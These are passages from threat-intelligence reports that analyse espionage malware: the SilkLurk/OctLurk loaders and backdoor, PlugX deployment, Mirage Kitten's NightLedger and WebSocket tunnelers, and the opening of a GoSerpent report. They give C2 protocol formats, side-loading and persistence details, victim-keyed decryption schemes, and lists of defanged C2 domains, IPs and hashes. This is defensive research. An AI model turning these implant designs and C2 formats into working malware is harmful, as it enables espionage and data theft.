0x1C (28) Data 1 payload size int
0x20 (32) Data 2 payload size int
0x24 (36) Data 1 byte stream bytes
0x24 (36) + N Data 2 byte stream bytes

LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.

Mode 1: SOCKS5 proxy

When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.

Mode 2: transparent proxy

In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.

Command ID Direction Description Arguments
0x1000010 Implant -> C2 When a new proxy client connects, it creates a proxy session and notifies C2 of the successful configuration Target port in command integer argument
UTF-16 encoded connection hostname in data 1
0x1000010 C2 -> Implant Used to control the session, allowing it to pause or stop proxying Action in command integer argument (1 to pause, or any other value to terminate)
0x1000030 Implant -> C2 Sent when the LurkProxy is shut down –
0x1000050 Implant -> C2 Forwards the received bytes from the client to C2 Raw TCP bytes in data 1
0x1000050 C2 -> Implant Forwards the received bytes from the proxy target to the client Raw TCP bytes in data 1

SilkLurk

Deployment

The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.

SilkLurk loader

SilkLurk loader working logic

SilkLurk loader working logic

The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.

Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.

  • Service Type: SERVICE_WIN32_OWN_PROCESS
  • Start Type: SERVICE_AUTO_START
  • Error Control: SERVICE_ERROR_NORMAL

On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:

Shellcode offset Description
0x000 (0) Stub code, which performs reflective code injection
0x770 (1904) Hardcoded value 0x11113F68, XORed with the computer name hash
0x774 (1908) Hardcoded byte 0xD9, used as XOR key to decrypt import DLL names and APIs
0x775 (1909) Size of the encrypted backdoor
0x779 (1913) Encrypted backdoor data blob

The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.

The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.

During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.

During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.

SilkLurk backdoor

The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:

Offset Description
0x00 (000) C2 Host 1
0x64 (100) C2 Host 2
0xC8 (200) C2 Host 3
0x12C (300) C2 Host 4
0x190 (400) Port for C2 Host 1
0x192 (402) Port for C2 Host 2
0x194 (404) Port for C2 Host 3
0x196 (406) Port for C2 Host 4
0x198 (408) Unknown 21 bytes
0x1AD (429) Proxy address 1
0x22A (554) Proxy username 1
0x2A7 (679) Proxy password 1
0x324 (804) Proxy address 2
0x3A1 (929) Proxy username 2
0x41E (1054) Proxy password 2

The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:

CONNECT %s:%d HTTP/1.1
Proxy-Connection: Keep-Alive
Host: %s:%d
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36

After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.

Field offset Field size (in bytes) Field value
0x00 (00) 0x04 (04) 0x0C7FFBE86h (magic dword)
0x04 (04) 0x04 (04) 0
0x08 (08) 0x20 (32) Network key (will be used to encrypt and decrypt network traffic)

It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.

Field offset Field size (in bytes) Field value
0x00 (00) 0x08 (08) data_size (encrypted_key_data + random_bytes_size)
0x08 (08) 0x04 (04) data_size XORed with 0x39
0x0C (12) 0x28 (40) Encrypted network key data (as mentioned in above table)
0x34 (52) size between 0x14 (20) and 0xB4 (180) Random data bytes

After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.

Field offset Field size (in bytes) Field value
0x00 (00) 0x04 (04) 0xC7FFBE86 (magic dword)
0x04(04) 0x04 (04) Message type (1 means victim information)
0x08 (08) 0x04 (04) Data size (size of encrypted victim information)
0x0C (12) 0x01 (01) Compression flag (1 means compressed)
0x0D (13) 0x02 (02) Size of random bytes, between 0x14 and 0x96 bytes

Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.

<random_dword><encrypted header><encrypted victim information><random bytes>

Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.

Field offset Field size (in bytes) Field value
0x00 (00) 0x04 (04) Random dword
0x04 (04) 0x0F (15) Encrypted header data

The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.

The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:

Command (message type) Description
03 Based on subcommand, perform the following operations:
00: Get target system’s local time
01: Set sleep time in milliseconds, after which to reconnect to the C2 server
04 Send current backdoor configuration
05 Update backdoor configuration
06 Receive and inject additional payloads (plugins) into memory. Based the on subcommand, perform the following operations:
01: Inject payload (plugin) bytes into memory and execute payload’s entry point
03: Call export method of injected plugin

Post-compromise activity

The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.

Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.

WinRAR 18dc8bff47cc282508354771d0c8cf8c C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
7Zip 9a1dd1d96481d61934dcc2d568971d06 C:\windows\vss\7z.exe

Second-stage payload

PlugX

The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.

C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164)
C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69)
C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file

Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.

PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.

Config field name Value
Injection Target Process %SystemRoot%\system32\svchost.exe
Home Directory %ALLUSERSPROFILE%\Symantec
Persistence Name SymantecRAS
Service Display Name SymantecRAS
Service Description Symantec RAS Services
Campaign ID KG_MFA

Infrastructure

The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.

Attribution

We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.

  1. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
  2. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.
OctLurk C:\ProgramData\intel\mscastrac.dll (MD5 7c2f64461bb519c6cbf1fc687675514c)
C:\ProgramData\intel\msbasesysdc.dll (MD5 f4578e869a735cfad691f927bae3e638)
SilkLurk C:\ProgramData\intel\vulkan-1.dll (MD5 2f18472866f38c1e1c2c5c14b9a6ab56)

In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.

Conclusions

The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.

In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

Backdoor domains and IPs

OctLurk C2

dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165

LurkProxy C2

dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76

SilkLurk C2

tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130

Loaders

OctLurk loader

082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll

SilkLurk loader

8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll

PlugX dropper

3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe

PlugX loader

ef59aad625eebda8650aec5820d6ce69 RasTls.dll

OctLurk backdoor

a0cc7accc79abb0287aaba825d0351f0

OctLurk File Manager plugin

a56cce62930a6bee80d679b4c495a340

OctLurk Command Shell plugin

1415a78b75de7db4ba3d1e61d7db4501

OctLurk Interaction Manager plugin

a4d550a3ba0cd073fe3839b99d98a7a8

Impacket’s secretsdump (not available)

32a5985543433a4f60da2fafd873b927 Adobe.exe

Keylogger

2a571f6cee42a17d873f4c942649813f AnyDesk.exe

Browser password stealer

37dc84e4bcad92fa28f1e7778d088283 x64.exe

FSCAN

cf903e4a1629aa0582fd0363b5786676 fc.exe

Batch scripts (not available)

6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat

Archive utilities

WinRAR

18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe

7zip

9a1dd1d96481d61934dcc2d568971d06 7z.exe

File paths

OctLurk file paths

C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe

SilkLurk file paths

C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll

PlugX file paths

C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res

WinRAR and 7z file paths

C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe

  •  

Mirage Kitten targets Middle East and Africa region with new malware

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command ID Description
1 Gather user and host identity information
3 Execute a process/program
17 List directories
20 Download a file to the infected system
25 Gather host and network information
27 Copy a file
30 Update beacon interval
36 Take a screenshot
43 Load a DLL
56 Kill a process
62 Delete a file
69 Terminate thread
70 Upload file to C2 server via POST request to /qasxcdfvgbhnmyuioplkhnj
75 Enumerate logical drives
90 List processes
93 Collect C:\Windows\debug\NetSetup.log together with process-list output.
NetSetup.log is a Windows diagnostic log generated under C:\Windows\debug\ during domain/workgroup join, unjoin, and related network setup operations.

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response Description
407 (Proxy Auth Required) Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols) Success. Proceeds to WebSocket upgrade and authentication.
Other Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset Size Field Encoding
0 1 type Message type (1–9)
1 4 connId Tunnel connection identifier
5 1 flags Status or error indicator
6 2 dataLen Payload length
8 var payload Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type Name Direction Description
1 CONNECT Server -> Client Open a new TCP tunnel to a SOCKS5 target address
2 CONNECT_RESPONSE Client -> Server Confirm the connection was established
3 DATA Bidirectional Relay TCP traffic through the tunnel
4 DISCONNECT Bidirectional Close a tunnel connection
5 PING Bidirectional Keepalive probe, sent every 30 seconds by timer
6 PONG Bidirectional Keepalive reply
9 FLOWCTRL Bidirectional Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte Description
0x01 IPv4 address (4 bytes)
0x03 Domain name (1-byte length + string)
0x04 IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command Description
OPEN: Creates a proxy/tunnel session to a target selected by the operator.
DNS: Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

  •  

GoSerpent: a persistent threat evolves with sophisticated data collection and exfiltration

Introduction

In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.

Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

